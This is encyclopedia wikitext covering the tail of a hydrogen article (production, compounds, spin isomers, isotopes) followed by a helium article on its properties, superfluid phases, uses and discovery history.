Hydrogen can be prepared in several different ways:  [[steam]] on heated [[carbon]], [[hydrocarbon]] decomposition with heat, reaction of a strong base in an [[aqueous solution]] with [[aluminium]], water [[electrolysis]], or displacement from [[acid]]s with certain [[metal]]s. Commercial bulk hydrogen is usually produced by the [[steam reforming]] of [[natural gas]].  At high temperatures (700&amp;ndash;1100 °C), steam reacts with methane to yield [[carbon monoxide]] and hydrogen.

:[[methane|CH&lt;sub&gt;4&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] → [[carbon monoxide|CO]] + 3 H&lt;sub&gt;2&lt;/sub&gt;

Additional hydrogen can be recovered from the carbon monoxide through the [[Water gas shift reaction]]:

:[[carbon monoxide|CO]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] → [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] + H&lt;sub&gt;2&lt;/sub&gt;

==Compounds==
The lightest of all gases, hydrogen combines with most other elements to form compounds. Hydrogen has an [[electronegativity]] of 2.2, so it forms compounds where it is the more nonmetallic and where it is the more metallic element.  The former are called [[hydride]]s, where hydrogen either exists as H&lt;sup&gt;-&lt;/sup&gt; ions or just as a solute within the other element (as in [[palladium hydride]]).  The latter tend to be [[covalent bond|covalent]], since the H&lt;sup&gt;+&lt;/sup&gt; ion would be a bare nucleus and so has a strong tendency to pull electrons to itself.  These both form acids. Thus even in an [[acid]]ic solution one sees ions like [[hydronium]] (H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;) as the protons latch on to something.  Although exotic on earth, one of the most common ions in the universe is the [[H Three Plus|H&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;]] ion.

Hydrogen combines with oxygen to form [[water]], H&lt;sub&gt;2&lt;/sub&gt;O, and releases significant amounts of energy in doing so, burning [[explosion|explosively]] in air. Deuterium oxide, or D&lt;sub&gt;2&lt;/sub&gt;O, is commonly referred to as [[heavy water]]. Hydrogen also forms a vast array of compounds with [[carbon]]. Because of their association with living things, these compounds are called [[organic compound]]s, and the study of the properties of these compounds is called [[organic chemistry]].

[[Image:Liquid hydrogen bubblechamber.jpg|thumb|right|300px|First tracks observed in Liquid hydrogen bubble chamber.]]

==Forms==
Under normal conditions, hydrogen gas is a mix of two different kinds of
[[molecule]]s which differ from one another by the
relative [[Spin (physics)|spin]] of the [[atomic nucleus|nuclei]].{{ref|uigi.com}} These two forms are
known as ortho- and para-hydrogen (this is different from [[isotope]]s, see
below). In ortho-hydrogen the nuclear spins are parallel and form a triplet,
while in para they are antiparallel and form a singlet. At [[standard temperature and pressure|standard condition]]s hydrogen is composed of about 25% of the para form and 75% of the ortho form (the so-called &quot;normal&quot; form). The equilibrium ratio of these two forms depends on temperature, but since the ortho form has higher energy (is an [[excited state]]), it cannot be stable in its pure form. At low temperatures (around boiling point), the equilibrium state is comprised almost entirely of the para form.

The conversion process between the forms is slow, and if hydrogen is cooled down and condensed rapidly, it contains large quantities of the ortho form. It is important in preparation and storage of liquid hydrogen, since the ortho-para conversion produces more heat than the heat of its evaporation, and a lot of hydrogen can be lost by evaporation in this way during several days after liquefying. Therefore, some [[catalyst|catalysts]] of the ortho-para conversion process are used during hydrogen cooling. The two forms have also slightly different physical properties. For example, the melting and boiling points of parahydrogen are about 0.1 K lower than of the &quot;normal&quot; form.

==Isotopes==
:''Main Article: [[Isotopes of hydrogen]]''

Hydrogen is the only element that has different names for its isotopes.
(During the early study of radioactivity, various heavy radioactive isotopes were given names, but such names are no longer used, although one element, [[radon]], has a name that originally applied to only one of its isotopes.)
The symbols D and T (instead of &lt;sup&gt;2&lt;/sup&gt;H and &lt;sup&gt;3&lt;/sup&gt;H) are sometimes used for deuterium and tritium, although this is not officially sanctioned. (The symbol P is already in use for [[phosphorus]] and is not available for protium.)
;&lt;sup&gt;1&lt;/sup&gt;H
The most common isotope of hydrogen, this stable isotope has a [[atomic nucleus|nucleus]] consisting of a single [[proton]]; hence the descriptive, although rarely used, name '''[[protium]]'''. The [[Spin (physics)|spin]] of a protium atom is 1/2+. {{ref|ie.lbl.gov}}
;&lt;sup&gt;2&lt;/sup&gt;H
The other stable isotope is '''[[deuterium]]''', with an extra [[neutron]] in the nucleus. Deuterium comprises 0.0184%&amp;ndash;0.0082% of all hydrogen ([[IUPAC]]); ratios of deuterium to protium are reported relative to the [[VSMOW]] standard reference water. The spin of a deuterium atom is 1+.
;&lt;sup&gt;3&lt;/sup&gt;H
The third naturally occurring hydrogen isotope is the radioactive '''[[tritium]]'''. The tritium nucleus contains two neutrons in addition to the proton. It decays through [[beta decay]] and has a half-life of 12.32 [[years]]. Tritium occurs naturally due to cosmic rays interacting with atmospheric gases. Like ordinary hydrogen, tritium reacts with the oxygen in the atmosphere to form T&lt;sub&gt;2&lt;/sub&gt;O. This radioactive &quot;water&quot; molecule constantly enters the Earth's seas and lakes in the form of slightly radioactive rain, but its half-life is short enough to prevent a buildup of hazardous radioactivity. The spin of a tritium atom is 1/2+.
;&lt;sup&gt;4&lt;/sup&gt;H
'''[[Isotopes of hydrogen|Hydrogen-4]]''' was synthesized by bombarding tritium with fast-moving deuterium nuclei. It decays through [[neutron emission]] and has a half-life of 9.93696x10&lt;sup&gt;-23&lt;/sup&gt; [[Second|seconds]]. The spin of a hydrogen-4 atom is 2-.
;&lt;sup&gt;5&lt;/sup&gt;H
In 2001 scientists detected '''[[Isotopes of hydrogen|hydrogen-5]]''' by bombarding a hydrogen target with heavy ions. It decays through [[neutron emission]] and has a half-life of 8.01930x10&lt;sup&gt;-23&lt;/sup&gt; [[Second|seconds]].
;&lt;sup&gt;6&lt;/sup&gt;H
'''[[Isotopes of hydrogen|Hydrogen-6]]''' decays through triple [[neutron emission]] and has a half-life of 3.26500x10&lt;sup&gt;-22&lt;/sup&gt; [[Second|seconds]].
;&lt;sup&gt;7&lt;/sup&gt;H
In 2003 '''[[Isotopes of hydrogen|hydrogen-7]]'''  was created ([http://physicsweb.org/articles/news/7/3/3 article]) at the RIKEN laboratory in Japan by colliding a high-energy beam of helium-8 atoms with a cryogenic hydrogen target and detecting tritons&amp;mdash;the nuclei of tritium atoms&amp;mdash;and neutrons from the breakup of hydrogen-7, the same method used to produce and detect hydrogen-5.

==Biology==
Scientists from the [[University of Colorado at Boulder]] discovered in [[2005]] that microbes living in the hot waters of [[Yellowstone National Park]] gain their sustenance from molecular hydrogen.

==See also==
* [[Antihydrogen]]
* [[Deuterium]]
* [[Fuel cell]]
* [[Hydrogen atom]]
* [[Nuclear weapons#Fusion bombs|Hydrogen bomb]]
* [[Hydrogen bond]]
* [[Hydrogen car]]
* [[Hydrogen cycle]]
* [[Hydrogen economy]]
* [[Hydrogen line]]
* [[Hydrogen molecule]]
* [[Hydrogen spectral series]]
* [[Hydrogen station]]
* [[Liquid Hydrogen]]
* [[Periodic table]]
* [[Photohydrogen]]
* [[Tritium]]

==References==
# {{note|commonsensescience.org}} {{Web reference | title= A PDF file from commonsensescience.org on hydrogen | url=http://www.commonsensescience.org/pdf/hydrogen.pdf | date= February 02 | year= 2006 }}
# {{note|periodic.lanl.gov}} {{Web reference | title= Los Alamos National Laboratory &amp;ndash; Hydrogen | url=http://periodic.lanl.gov/elements/1.html | date= September 15 | year= 2005 }}
# {{note|webelements.com}} {{Web reference | title= Webelements &amp;ndash; Hydrogen historical information | url=http://www.webelements.com/webelements/elements/text/H/hist.html | date= September 15 | year= 2005 }}
# {{note|uigi.com}} {{Web reference | title= Universal Industrial Gases, Inc. &amp;ndash; Hydrogen (H&lt;sub&gt;2&lt;/sub&gt;) Applications and Uses | url=http://www.webelements.com/webelements/elements/text/H/key.html | date= September 15 | year= 2005 }}
# {{note|education.jlab.org}} {{Web reference | title= Jefferson Lab &amp;ndash; Hydrogen | url=http://education.jlab.org/itselemental/ele001.html | date= September 15 | year= 2005 }}
# {{note|ie.lbl.gov}} {{Web reference | title= Lawrence Berkeley National Laboratory &amp;ndash; Hydrogen isotopes | url=http://ie.lbl.gov/education/parent/H_iso.htm | date= September 15 | year= 2005 }}

*[http://www.riken.go.jp/engn/r-world/research/lab/wako/ribeam/ RIKEN Beam Science Laboratory, Japan - Heavy hydrogen research]
* ''[http://chartofthenuclides.com/default.html Nuclides and Isotopes] Fourteenth Edition: Chart of the Nuclides'', General Electric Company, 1989

;Book references:
* {{cite book | last = Stwertka | first =  Albert | year = 2002 | title = A Guide to the Elements | publisher = Oxford University Press | location = New York, NY | id = ISBN 0195150279 }}
* {{cite book | last = Krebs | first =  Robert E. | year = 1998 | title = The History and Use of Our Earth's Chemical Elements : A Reference Guide | publisher = Greenwood Press | location = Westport, Conn. | id = ISBN 0313301239 }}
* {{cite book | last = Newton | first =  David E. | year = 1994 | title = The Chemical Elements | publisher = Franklin Watts | location = New York, NY | id = ISBN 0531125017 }}
* {{cite book | last = Rigden | first =  John S. | year = 2002 | title = Hydrogen : The Essential Element | publisher = Harvard University Press | location = Cambridge, MA | id = ISBN 0531125017 }}


==External links==
{{Wiktionary|Hydrogen}}
{{Commons|Hydrogen}}
* [http://www.hydropole.ch/Hydropole/Intro/Phasediag.gif Hydrogen phase diagram.]
* [http://www.compchemwiki.org/index.php?title=Hydrogen Computational Chemistry Wiki]
* [http://www.physics.drexel.edu/~tim/open/hydrofin/ Basic Hydrogen Calculations of Quantum Mechanics]

[[Category:Hydrogen| ]]
[[Category:Chemical elements]]
[[Category:Nonmetals]]

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[[af:Waterstof]]
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[[da:Brint]]
[[de:Wasserstoff]]
[[el:Υδρογόνο]]
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[[fa:هیدروژن]]
[[fi:Vety]]
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[[gd:Haidreagain]]
[[gl:Hidróxeno (elemento)]]
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[[he:מימן]]
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[[ja:水素]]
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{{Elementbox_isotopes_begin | isotopesof=helium | color1=#c0ffff | color2=green }}
{{Elementbox_isotopes_stable | mn=3 | sym=He | na=0.000137%* | n=1 }}
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| colspan=&quot;6&quot; align=&quot;center&quot; | *&lt;small&gt;Atmospheric value, abundance may differ elsewhere.&lt;/small&gt;
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:''This page is about the chemical element helium.  For the American indie rock band Helium see [[Helium (band)]]''.

'''Helium''' is a [[chemical element]] that has the symbol '''He''', is colorless, odorless, tasteless, non-toxic, and nearly inert monatomic that heads the [[noble gas]] series in the [[periodic table]]. Its [[atomic number]] is 2 and its [[boiling point|boiling]] and [[melting point|melting]] points are the lowest among the elements. It exists only as a [[gas]] except in extreme conditions. Extreme conditions are also needed to create the small handful of helium [[compound (chemistry)|compound]]s, which are all unstable at [[standard temperature and pressure]]. Its most abundant [[stable isotope]] is [[helium-4]] and it has a rare stable [[isotope]], [[helium-3]].  The behavior of [[liquid helium]]-4's two different states&amp;mdash;helium I and helium II&amp;mdash;is important to researchers studying [[quantum mechanics]] (in particular the phenomenon of [[superfluidity]]) and those looking at the effects that near [[absolute zero]] temperatures have on [[matter]] (such as [[superconductivity]]).

Helium is the second most [[chemical abundance| abundant]] and second lightest element in the [[periodic table]]. In the modern Universe almost all new helium is created as a result of the [[nuclear fusion]] of hydrogen in [[star]]s. On [[Earth]] it is created by the [[radioactive decay]] of much heavier elements ([[alpha particle]]s are helium-4 nuclei produced by [[alpha-decay]]). After its creation, part of it is trapped with [[natural gas]] in concentrations up to 7% by volume.  It is extracted from the natural gas by a low [[temperature]] separation process called [[fractional distillation]].

In 1868 the French astronomer [[Pierre Janssen]] [[discovery of the chemical elements| first detected]] helium as an unknown yellow  [[spectroscopy| spectral line]] signature in light from a [[solar eclipse]]. Since then large reserves of helium have been found in the natural gas fields of the [[United States]], which is by far the largest supplier of the gas. Helium is used in [[cryogenics]], in deep-sea breathing systems, to cool [[superconducting magnet]]s, in [[helium dating]], for inflating [[balloon]]s, for providing lift in [[airship]]s and as a protective gas for many industrial uses (such as  [[arc welding]] and growing [[silicon]] wafers). Inhaling a small [[volume]] of the gas temporarily changes the quality of one's voice.

==Notable characteristics==
===Gas and plasma phases===
Helium is a colorless, odorless, and non-toxic gas. It is the least reactive member of group 18 (the [[noble gas]]es) of the periodic table and is therefore virtually inert. Under [[standard temperature and pressure]] helium behaves very much like an [[ideal gas]].  Under virtually all conditions helium is monatomic. It has a [[thermal conductivity]] that is  greater than any gas except [[hydrogen]] and its  [[specific heat]] is unusually high. Helium is also less water [[solubility| soluble]] than any other gas known and its [[diffusion]] rate through [[solid]]s is three times that of air and around 65% that of hydrogen&lt;!-- ref: ''The Encyclopedia of Chemical Elements'', page 261 --&gt;. Helium's [[index of refraction]] is closer to unity than any other gas. This gas has a negative [[Joule-Thomson coefficient]] at normal ambient temperatures, meaning it heats up when allowed to freely expand. Only below its [[Joule-Thomson inversion temperature]] (of about 40 [[Kelvin|K]] at 1 atmosphere) does it cool upon free expansion.  Once precooled below this temperature, helium can be liquefied through expansion cooling.

[[Image:HeTube.jpg|thumb|left|Helium discharge tube shaped like the element's atomic symbol]]
Helium is chemically unreactive under all normal conditions due to its [[valence]] of zero.  It is an electrical insulator unless [[ion]]ized. As with the other noble gases, helium has metastable [[energy level]]s that allow it to remain ionized in an [[electricity| electrical]] discharge with a [[voltage]] below its [[ionization potential]]. Helium can form unstable [[compound (chemistry)|compound]]s with [[tungsten]], [[iodine]], [[fluorine]], [[sulfur]] and [[phosphorus]] when it is  subjected to an [[electric glow discharge]], through electron bombardment or is otherwise a [[Plasma physics|plasma]].  HeNe, HgHe&lt;sub&gt;10&lt;/sub&gt;, WHe&lt;sub&gt;2&lt;/sub&gt;  and the molecular ions He&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;, He&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;++&lt;/sup&gt;, HeH&lt;sup&gt;+&lt;/sup&gt;, and HeD&lt;sup&gt;+&lt;/sup&gt; have been created this way.  This technique has also allowed the production of the neutral molecule He&lt;sub&gt;2&lt;/sub&gt;, which has a large number of [[band system]]s, and HgHe, which is apparently only held together by polarization forces &lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 261 --&gt;. Theoretically, other compounds, like helium fluorohydride (HHeF), may also be possible.

Throughout the Universe, helium is found mostly in a [[Plasma (physics)|plasma]] state whose properties are quite different to molecular helium. As a plasma, helium's electrons and protons are not bound together, resulting in very high electrical conductivity, even when the gas is only partially ionized. The charged particles are highly influenced by magnetic and electric fields.  For example, in the [[solar wind]] together with ionized hydrogen, they interact with the Earth's [[magnetosphere]] giving rise to [[Birkeland current]]s and the [[aurora]].

=== Solid and liquid phases ===
Helium solidifies only under great pressure. The resulting colorless almost invisible [[solid]] is highly [[compressible]]; applying pressure in the laboratory can decrease its volume by more than 30%.&lt;!-- ref: LANL.gov --&gt;  With a [[bulk modulus]] on the order of 5×10&lt;sup&gt;7&lt;/sup&gt; [[Pascal|Pa]] [http://www3.interscience.wiley.com/cgi-bin/abstract/105558571/ABSTRACT] it is 50 times more compressible than water.  Unlike any other element, helium will fail to solidify and remain a liquid down to [[absolute zero]] at normal pressures. Solid helium requires a temperature of 1&amp;ndash;1.5&amp;nbsp;K and about 26 standard atmospheres (2.6 MPa) of pressure&lt;!-- ref: ''Natures Building Blocks'', page 178 --&gt;. It is often hard to distinguish solid from liquid helium since the [[refractive index]] of the two phases are nearly the same. The solid has a sharp [[melting point]] and has a [[crystal]]line structure.

==== Helium I state ====
Below its [[boiling point]] of 4.21 [[kelvin]]s and above the [[lambda point]] of 2.1768 kelvins, the [[isotope]] helium-4 exists in a normal colorless [[liquid]] state, called ''helium I''. Like other cryogenic liquids, helium I boils when heat is added to it. It also contracts when its temperature is lowered until it reaches the [[lambda point]], when it stops boiling and suddenly expands. The rate of expansion decreases below the lambda point until about 1 K is reached; at which point expansion completely stops and helium I starts to contract again.

Helium I has a gas-like [[index of refraction]] of 1.026 which makes its surface so hard to see that floats of [[Styrofoam]] are often used to show where the surface is&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 262 --&gt;. This colorless  liquid has a very low [[viscosity]] and a [[density]] 1/8th that of [[water]], which is only 1/4th the value expected from [[classical physics]]&lt;!-- ref: ibid --&gt;. [[Quantum mechanics]] is needed to explain this property and thus both types of liquid helium are called ''quantum fluids'', meaning they display atomic properties on a macroscopic scale. This is probably due to its boiling point being so close to absolute zero, which prevents  random molecular motion ([[heat]]) from masking the atomic properties&lt;!-- ref: ibid --&gt;.

==== Helium II state ====
Liquid helium below its lambda point begins to exhibit very unusual characteristics, in a state called ''helium II''. Boiling of helium II is not possible due to its high [[thermal conductivity]]; heat input instead causes [[evaporation]] of the liquid directly to gas.  The isotope helium-3 also has a superfluid phase, but only at much lower temperatures; as a result, less is known about such properties in the isotope helium-3.

[[Image:helium-II-creep.png|frame|right|Helium II will &quot;creep&quot; along surfaces in order to find its own level - after a short while, the levels in the two containers will equalize. The [[Rollin film]] also covers the interior of the larger container; if it were not sealed, the helium II would creep out and escape.]]
Helium II is a [[superfluidity| superfluid]], a quantum-mechanical state of matter with strange properties. For example, when it flows through even capillaries of 10&lt;sup&gt;-7&lt;/sup&gt; to 10&lt;sup&gt;-8&lt;/sup&gt; m width it has no measurable [[viscosity]]. However, when measurements were done between two moving discs, a viscosity comparable to that of gaseous helium was observed.  Current theory explains this using the ''two-fluid model'' for Helium II.  In this model, liquid helium below the lambda point is viewed as containing a proportion of helium atoms in a [[ground state]], which are superfluid and flow with exactly zero viscosity, and a proportion of helium atoms in an excited state, which behave more like an ordinary fluid&lt;!--http://www.yutopian.com/Yuan/TFM.html--&gt;.

Helium II also exhibits a &quot;creeping&quot; effect.  When a surface extends past the level of helium II, the helium II moves along the surface, seemingly against the force of [[gravity]].  Helium II will escape from a vessel that is not sealed by creeping along the sides until it reaches a warmer region where it evaporates.  It moves in a  30 [[nanometre|nm]] thick film regardless of surface material.  This film is called a [[Rollin film]] and is named after the man who first characterized this trait, [[B. V. Rollin]]&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 263 --&gt;&lt;!--http://prola.aps.org/abstract/PR/v76/i8/p1209_1--&gt;.  As a result of this creeping behavior and helium II's ability to leak rapidly through tiny openings, it is very difficult to confine liquid helium.  Unless the container is carefully constructed, the helium II will creep along the surfaces and through valves until it reaches somewhere warmer, where it will evaporate.

In the ''fountain effect'', a chamber is constructed which is connected to a reservoir of helium II by a [[sintered]] disc through which superfluid helium leaks easily but through which non-superfluid helium cannot pass.  If the interior of the container is heated, the superfluid helium changes to non-superfluid helium.  In order to maintain the equilibrium fraction of superfluid helium, superfluid helium leaks through and increases the pressure, causing liquid to fountain out of the container&lt;!--http://cryowwwebber.gsfc.nasa.gov/introduction/liquid_helium.html--&gt;.

The thermal conductivity of helium II is greater than that of any other known substance, a million times that of helium I and several hundred times that of [[copper]]. This is because heat conduction occurs by an exceptional  quantum-mechanical mechanism. Most materials that conduct heat well have a [[valence band]] of free electrons which serve to transfer the heat.  Helium II has no such valence band but nevertheless conducts heat well. The [[heat transfer|flow of heat]] is governed by [[equation]]s that are similar to the [[wave equation]] used to characterize [[sound]] propagation in air. So when heat is introduced, it will move at 20 meters per second at 1.8 K through helium II as waves in a phenomenon called ''second sound''&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 263 --&gt;.

== Electron energy levels ==
Depending on the spin orientation of the two electrons in the helium atom, one speaks of [[parahelium]] for two anti-parallel spins (S=0) and of [[orthohelium]] for two parallel spins (S=1). For the orthohelium one of the electrons does not sit in the ground orbital (1s). [http://hyperphysics.phy-astr.gsu.edu/hbase/quantum/helium.html]

== Applications ==
[[Image:USGS Blimp1.jpg|thumb|right|Because of its low density, helium is the gas of choice to fill [[airship]]s such as the USGS blimp.]]

Pressurized helium is commercially available. Helium is used for many purposes that require one or more of its unique properties; low  [[boiling point]], low [[density]], low [[solubility]], high [[thermal conductivity]], or its [[inert]]ness.

[[Airship]]s and [[balloon]]s ([[toy balloon|toy]], [[weather balloon|weather]], and [[research balloon|research]]) are inflated with helium because it is [[lighter than air]] (1&amp;nbsp;m³ of helium will lift 1&amp;nbsp;kg). Helium is currently preferred to [[hydrogen]] in airships because, while it is more expensive, it is not flammable and has 92.64% of the lifting power of hydrogen.

''[[Heliox]]'', a mixture of helium and [[oxygen]], is used in commercial deep-sea [[breathing gas]] systems to reduce the risk of [[nitrogen narcosis]] (high pressure [[nitrogen]] having a [[narcotic]] effect on the [[brain]]) and [[oxygen toxicity]] at high pressures. Higher pressures require a greater proportion of helium and reduced amounts of nitrogen and oxygen (every ten-meter increase in depth yields a one atmosphere increase of pressure). ''[[Trimix]]'', a mixture of oxygen, nitrogen and helium, and [[heliair]], a mixture of [[Earth's atmosphere|air]] and helium, is also used in this way. Trimix is fast becoming the standard for technical diving deeper than 40 meters, and Heliox is now rarely used for non-commercial diving, due to the risk of [[high pressure nervous syndrome]]. Below 130 meters (430 ft) a mixture of hydrogen, helium, and oxygen called ''[[hydreliox]]'' is sometimes used to help prevent [[high pressure nervous syndrome]], but is quite rare, due to the explosive nature of hydrogen &lt;!-- ref: ''Nature's Building Blocks'', page 177 --&gt;. All these uses rely on helium's very low solubility in water (the major component of blood).

The extremely low [[boiling point]] makes helium useful as a coolant in [[magnetic resonance imaging]], [[superconducting magnet]]s,  [[cryogenics]], and to remove thermal noise from detectors used in [[astronomy]]. The extreme coldness of liquid helium is also used to produce [[superconductivity]] in some ordinary [[metal]]s such as [[lead]] (lead becomes superconductive at 7.3 K), allowing for a completely free flow of electrons in the metal.

Other uses:
* Because of its high thermal conductivity and inertness, helium is used as a coolant in some [[nuclear reactor]]s (for example, [[pebble-bed reactor]]s) and in [[arc welding]] air-sensitive metals that require heavy welds. 
* The high thermal conductivity and sound velocity of helium is also desirable in [[thermoacoustic refrigeration]]. The inertness of helium adds to the environmental advantage of this technology over conventional refrigeration systems which may contribute to ozone depleting and global warming effects.
* Its inertness makes it useful as a protective gas in growing [[silicon]] and [[germanium]] crystals, in [[titanium]] and [[zirconium]] production, protecting important historical documents, and in [[gas chromatography]]. This property also makes it useful in pressurizing liquid fuel [[rocket]]s (see below) and in supersonic [[wind tunnel]]s.
* The [[laser construction| gain medium]] of the [[helium-neon laser]] (the first gas [[laser]]) most commonly used to scan [[bar code]]s is a mixture of helium and [[neon]]&lt;!-- ref: ''Guide to the Elements'', page 24 --&gt;.
*This gas' rate of [[diffusion]] through solids is three times that of normal air, making it an excellent component in leak detection in high-[[vacuum]] equipment and high pressure containers.
*In [[rocket]]ry, helium is used as an [[ullage motor|ullage]] medium to displace fuel and oxidizers in storage tanks and to condense hydrogen and [[oxygen]] to make [[rocket fuel]]. It is also used to purge fuel and oxidizer from ground support equipment prior to launch and to precool liquid hydrogen in [[space vehicle]]s. For example, the [[Saturn 5]] booster used in the [[Apollo program]] needed about 13 million ft³ (370,000 m³) of helium to launch&lt;!-- ref: LANL.gov --&gt;.
*Physics researchers use [[alpha particle]]s (helium nuclei) in [[particle accelerator]]s and [[nuclear reaction]] experiments.  
*Helium gas is used to fill the space between [[lens (optics)|lenses]] in some [[telescope]]s because its extremely low [[index of refraction]] reduces the distorting effect of temperature variations in the gas filling the telescope (some telescopes use [[vacuum]] in the telescope instead)&lt;!--http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1983ApOpt..22...10E&amp;amp;db_key=AST--&gt;.
*[[Radioactive decay]] of [[uranium]] and [[thorium]] produces [[alpha particle]]s that quickly become helium. This happens at a known constant rate so if the containing [[rock (geology)|rock]] or [[mineral]] can retain its helium then the [[ratio]] of helium to its radioactive parent [[atom]]s indicates its age.  Alternatively, if the helium is not well-retained, the ratio of helium-3 to helium-4 contains some of the same information, since only helium-4 is produced by radioactive decay. Use of helium in this way is called [[helium dating]].
* Because helium alone is less dense than atmospheric air, it will increase the pitch of a person's voice when inhaled.

== History ==
===Discoveries===
Helium was [[discovery of the chemical elements| first detected]] on [[August 18]], [[1868]] as a bright yellow line with a [[wavelength]] of 587.49 nm in the [[spectroscopy| spectrum]] of the [[chromosphere]] of the [[Sun]], by French astronomer [[Pierre Janssen]] during a total [[solar eclipse]] in [[India]]. Janssen was at first ridiculed since no element  had ever been detected in [[space]] before being found on [[Earth]]. [[October 20]]th the same year, English astronomer [[Norman Lockyer]] also observed the same  yellow line in the solar spectrum and concluded that it was caused by an unknown element after unsuccessfully testing to see if it were some new type of hydrogen. Since it was near the Fraunhofer D line he later named the new line D&lt;sub&gt;3&lt;/sub&gt;,  distinguishing it from the nearby D&lt;sub&gt;1&lt;/sub&gt; and D&lt;sub&gt;2&lt;/sub&gt; double lines of [[sodium]]&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 256 --&gt;. He and English chemist [[Edward Frankland]] named the element after the Greek word for the Sun god, ''[[Helios]]'', and, assuming it was a [[metal]], gave it an -ium ending (a mistake that was never corrected).

British chemist [[William Ramsay]] isolated helium on [[March 26]], [[1895]] by treating [[cleveite]] (now known to be [[uraninite]]) with mineral [[acid]]s. Ramsay was looking for [[argon]] but noticed the yellow D&lt;sub&gt;3&lt;/sub&gt; line after he removed [[nitrogen]] and [[oxygen]] from the gas liberated by the [[sulfuric acid]] he put on the cleveite sample&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 257 --&gt;. These samples were identified as helium by Lockyer and British physicist [[William Crookes]]. It was independently isolated from cleveite the same year by Swedish chemists [[Per Teodor Cleve]] and [[Abraham Langlet]] in [[Uppsala]] in [[Sweden]]. They collected enough of the gas to accurately determine its [[atomic mass|atomic weight]]&lt;!-- ref: ''Nature's Building Blocks'', page 177 --&gt;.

An [[oil drilling]] operation in [[Dexter, Kansas]] created a gas [[geyser]] in [[1903]] that would not burn.  Two scientists from the University of Kansas, [[Erasmus Haworth]] and [[David McFarland]] took samples of the gas and found that it contained 72% nitrogen, 12% unknown gas, and only 15% combustible methane.  Further analysis by McFarland and fellow chemist [[Hamilton Cady]] produced the astounding result that 1.84% of the gas sample was helium and they published a paper in [[1907]] saying that helium could be extracted from [[natural gas]]&lt;!-- ref: ''Nature's Building Blocks'', page 179 --&gt; &lt;!--ref: &quot;http://acswebcontent.acs.org/landmarks/landmarks/helium/element.html&quot;--&gt;.  Also in 1907, [[Ernest Rutherford]] and [[Thomas Royds]] demonstrated that an [[alpha particle]] is a helium [[atomic nucleus|nucleus]].

Helium was first liquefied by Dutch physicist [[Heike Kamerlingh Onnes]] in [[1908]] in [[Leiden]] by cooling the gas to less than one [[kelvin]]. He tried to solidify it by reducing the temperature to 0.8 K but failed because helium does not have a [[triple point]] temperature where the solid, liquid and gas phases are at equilibrium&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 262 --&gt;.  It was first solidified in [[1926]] by his student [[Willem Hendrik Keesom]] who subjected helium to a similar amount of cooling as Kamerlingh Onnes but at 25 standard atmospheres of pressure.

In [[1938]], Russian physicist [[Pyotr Leonidovich Kapitsa]] discovered that liquid helium-4 has almost no [[viscosity]] at temperatures near [[absolute zero]], a phenomenon now called [[superfluid]]ity. In [[1972]], the same phenomenon was observed in liquid helium-3 by American physicists [[Douglas D. Osheroff]], [[David M. Lee]], and [[Robert C. Richardson]].

===Production and use===
Great quantities of helium were found in the natural gas fields of the American [[Great Plains]], putting the [[United States]] in a very good position to become the leading world supplier. Following a suggestion by Sir [[Richard Threlfall]], the [[United States Navy]] sponsored three small experimental helium production plants during [[World War I]]. The goal was to supply [[barrage balloon]]s with the non-flammable lifting gas. A  total of 200,000 ft³ (5700 m³) of 92% helium was produced in the program even though only a few cubic feet (less than 100 liters) of the gas had previously been obtained&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 257 --&gt;. Some of this gas was used in the world's first helium-filled [[airship]], the U.S. Navy's [[C-7 (airship)|C-7]], which flew its maiden voyage from [[Hampton Roads, Virginia]] to [[Bolling Field]] in [[Washington, D.C.]] on [[December 7]], [[1921]].

Although the extraction process, using low-temperature gas liquefaction, was not developed in time to be significant during World War I, production continued.  Helium was primarily used as a lifting gas in lighter-than-air craft.  This use increased demand during World War II, as well as demands for shielded arc [[welding]].  Helium was also vital in the atomic bomb [[Manhattan Project]].

The [[government of the United States]] set up the [[National Helium Reserve]] in [[1925]] at [[Amarillo, Texas]] with the goal of supplying military [[airship]]s in time of [[war]] and commercial airships in peacetime. Helium use following [[World War II]] was depressed but the reserve was expanded in the [[1950s]] to ensure a supply liquid helium as a coolant to create oxygen/hydrogen [[rocket fuel]] (among other uses) during the [[Space Race]] and [[Cold War]].  Helium use in the United States in [[1965]] was more than eight times the peak wartime consumption.

After the &quot;Helium Acts Amendments of 1960&quot; (Public Law 86-777), the [[United States Bureau of Mines|U.S. Bureau of Mines]] arranged for five private plants to recover helium from natural gas.  For this ''helium conservation'' program, the Bureau built a 425-mile pipeline from [[Bushton, Kansas]] to connect those plants with the government's [[Cliffside Gas Field|Cliffside]] partially depleted gasfield, near [[Amarillo, Texas]].  This helium-nitrogen mixture was injected and stored in the Cliffside Gas Field until needed, when it then was further purified.

By [[1995]] 32 billion ft³ (1 billion m³) of the gas had been collected and the reserve was US$ 1.4 billion in debt, prompting the [[Congress of the United States]] to phase out the reserve starting the next year&lt;!-- ref: ''Nature's Building Blocks'', page 179; and ''Guide to the Elements'', page 24 --&gt;. The resulting &quot;Helium Privatization Act of 1996&quot; (P.L. 104-273) directed the [[United States Department of the Interior]] to start liquidating the reserve by [[2005]]. &lt;!-- ref: http://www.nap.edu/openbook/0309070384/html/index.html Executive Summary --&gt;

Helium produced before [[1945]] was about 98% pure (2% [[nitrogen]]), which was adequate for airships.  In [[1945]] a small amount of 99.9% helium was produced for welding use.  By [[1949]] commercial quantities of Grade A 99.995% helium were available.

